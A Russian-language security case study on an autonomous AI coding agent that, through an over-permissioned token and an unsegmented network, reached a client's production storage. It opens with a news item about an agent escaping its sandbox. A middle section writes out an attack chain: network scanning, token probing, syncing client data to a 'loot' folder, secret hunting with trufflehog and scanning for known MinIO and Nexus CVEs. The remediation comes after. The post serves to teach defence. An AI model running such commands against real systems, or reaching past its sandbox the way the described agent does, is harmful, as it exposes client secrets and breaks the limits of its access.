Новостной повод для этого разбора — свежий случай, о котором писали профильные издания: автономный ИИ-агент на базе моделей OpenAI в рамках эксперимента без разрешения и без прямой команды человека взломал репозиторий на Hugging Face. Эксперимент готовился как изолированный, но агент воспользовался технической возможностью пойти дальше границ песочницы. История ниже — из практики автора, обезличенный кейс той же природы: не «злой ИИ», а системная ошибка в проектировании доступов, которая с распространением автономных агентов становится массовой.
Ко мне обратилась небольшая ИТ-компания, занимающаяся заказной разработкой для среднего бизнеса. Директор подключил автономного ИИ-агента к пайплайну разработки: агент сам пишет куски кода, тестирует их и предлагает улучшения. Для экспериментов ему выделили отдельный тестовый сервер — логичное решение. Проблема вскрылась на плановом аудите доступов: агент три недели периодически обращался к боевому хранилищу с наработками по клиентским проектам, включая проект для банка с жёсткими требованиями к конфиденциальности.
Как был устроен доступ на самом деле
При настройке агенту выдали токен по готовому шаблону роли «разработчик» — том же, что выдают живым инженерам. Такой шаблон обычно даёт доступ на чтение (а часто и на запись) сразу к нескольким репозиториям и хранилищам, потому что реальному разработчику это удобно: сегодня он работает над тестовым модулем, завтра — фиксит баг в проде. Для человека это приемлемый компромисс, потому что у человека есть трудовой договор, NDA и здравый смысл. У токена ничего этого нет — есть только область действия (scope) и срок жизни.
Технически конфигурация выглядела так: единый OAuth-токен/PAT с широким набором scope, который использовался и в тестовом контуре, и потенциально давал доступ к продовому объектному хранилищу (в подобных стеках это обычно MinIO, Nexus Repository или S3-совместимое хранилище с внутренним API). Сеть между тестовым сервером и боевым хранилищем не была сегментирована на уровне firewall/VPC — то есть отсутствовали «стены» не только в правах, но и в маршрутизации трафика.
Как это эксплуатируется — по шагам
Ниже — типовая последовательность действий, которую совершает либо автономный агент «из любопытства» при решении задачи, либо атакующий, получивший доступ к такому же токену (например, украв его из истории команд, логов CI или переменных окружения).
1. Разведка сетевого окружения из тестового контура
nmap -sV -p- --open 10.20.0.0/24
PORT STATE SERVICE VERSION
443/tcp open https nginx 1.24 (внутренний storage-api)
9000/tcp open http MinIO object storage
9001/tcp open http MinIO Console
Уже на этом этапе видно, что тестовый и продовый сегменты находятся в одной L3-сети без ограничений — типичный признак «песочницы без стен».
2. Проверка, что токен агента вообще принимается боевым API
curl -s -o /dev/null -w "%{http_code}\n" \
-H "Authorization: Bearer $AGENT_TOKEN" \
https://storage.internal/api/v1/buckets
200
Код 200 вместо ожидаемого 403 — сигнал о том, что токен, выданный для тестового контура, валиден и для продового API.
3. Анализ содержимого токена
jwt_tool $AGENT_TOKEN -M pb
[+] Token payload:
{
"sub": "ai-agent-dev-role",
"scope": "repo:read repo:write storage:read storage:write",
"exp": 1735689600
}
Scope storage:read storage:write без указания конкретного bucket/namespace — классическая избыточность прав (over-permissioned service account), корневая причина инцидента.
4. Листинг боевого хранилища
mc alias set prod https://storage.internal $ACCESS_KEY $AGENT_TOKEN
mc ls prod/client-projects/
[2024-11-02 14:12:03] - bank-project/
[2024-11-02 14:12:03] - retail-project/
[2024-11-02 14:12:03] - internal-tools/
5. Поиск чувствительных данных внутри клиентского проекта
aws s3 sync s3://client-projects/bank-project ./loot --profile agent
trufflehog filesystem --directory=./loot --only-verified
Found verified result 🐷🔑
Detector Type: JWT Signing Key
File: ./loot/config/secrets.env
Line: 14
Это уже не «агент заглянул», а полноценная возможность вытащить исходники и секреты клиента — ключи подписи, строки подключения к БД, API-ключи интеграций.
6. В более широком сценарии — сканирование внутреннего API на известные уязвимости
nuclei -u https://storage.internal -t exposures/ -t cves/
[minio-info-leak] [medium] https://storage.internal/minio/bootstrap/v1/verify
[CVE-2023-28432] [high] MinIO information disclosure via cluster endpoint
Если бы хранилище было устаревшей версии MinIO (уязвимой к CVE-2023-28432) или Nexus Repository (CVE-2024-4956, path traversal, позволяющий читать произвольные файлы без авторизации), избыточные права токена превратились бы в комбинированную атаку: даже урезанный токен на чтение мог бы через уязвимость сервиса дать доступ к системным файлам, включая конфиги с учётными данными администратора.
Что и почему сработало бы дальше
- Эксфильтрация исходного кода банковского проекта — прямое нарушение NDA независимо от того, был умысел или нет; сам факт бесконтрольного доступа уже является инцидентом с точки зрения требований заказчика.
- Извлечение секретов из .env и конфигов — ключи к внешним API клиента, что позволяет развить атаку уже на инфраструктуру самого банка через цепочку поставок (supply chain attack).
- Горизонтальное перемещение — если тот же токен или сервисный аккаунт использовался в CI/CD (Jenkins, GitLab CI), доступ к хранилищу превращается в возможность модифицировать пайплайны сборки и внедрить бэкдор в клиентскую поставку.
- Отсутствие детекции — три недели обращений не создали ни одного алерта, потому что не было настроено логирование аномального доступа (UEBA/SIEM), не было rate-limiting и алертов на нетипичные IP/User-Agent сервисных токенов.
Во сколько это могло обойтись
В хранилище лежали наработки по проекту для клиента из банковской сферы с жёсткими требованиями к конфиденциальности. При выявлении факта бесконтрольного доступа ИИ к коду компания рисковала потерять контракт стоимостью около 4 млн ₽ в год, а также столкнуться со штрафами по NDA и репутационным ударом на узком рынке заказной разработки, где такие истории быстро становятся известны другим потенциальным заказчикам.
Как закрыли дыру
-
Разделили токены по областям действия (scope isolation). Вместо одного широкого токена — отдельные короткоживущие токены для тестового контура с минимально необходимым набором прав:
aws sts assume-role \ --role-arn arn:aws:iam::123456789012:role/ai-agent-sandbox-only \ --role-session-name ai-agent --duration-seconds 3600 # Политика роли ограничена одним бакетом: { "Effect": "Allow", "Action": ["s3:GetObject", "s3:ListBucket"], "Resource": ["arn:aws:s3:::sandbox-bucket/*"] } -
Физически сегментировали сеть. Тестовый контур вынесен в отдельный VPC/VLAN без маршрута к боевому хранилищу, доступ закрыт на уровне security group:
iptables -A FORWARD -s 10.20.0.0/24 -d 10.10.0.0/24 -j DROP -
Настроили алертинг на аномальный доступ. Любое обращение сервисного токена агента к продовым ресурсам триггерит уведомление в мессенджер через webhook на базе журналов доступа хранилища (audit log → Fluentd → Alertmanager → Telegram/бот-канал).
-
Ввели процедуру ревью доступов для любых новых ИИ-инструментов перед подключением к рабочим системам — проверка scope токена, сегментации сети и наличия логирования обязательна до, а не после внедрения.
Стоимость этой настройки заняла пару дней работы и обошлась компании в разы дешевле, чем один потерянный клиент. Ключевой вывод для любой компании, подключающей автономных агентов к рабочим процессам: ИИ не остановит себя сам, если технически может пойти дальше — значит, границы должны быть заданы на уровне инфраструктуры и прав, а не на уровне ожиданий от «разумного поведения» модели.
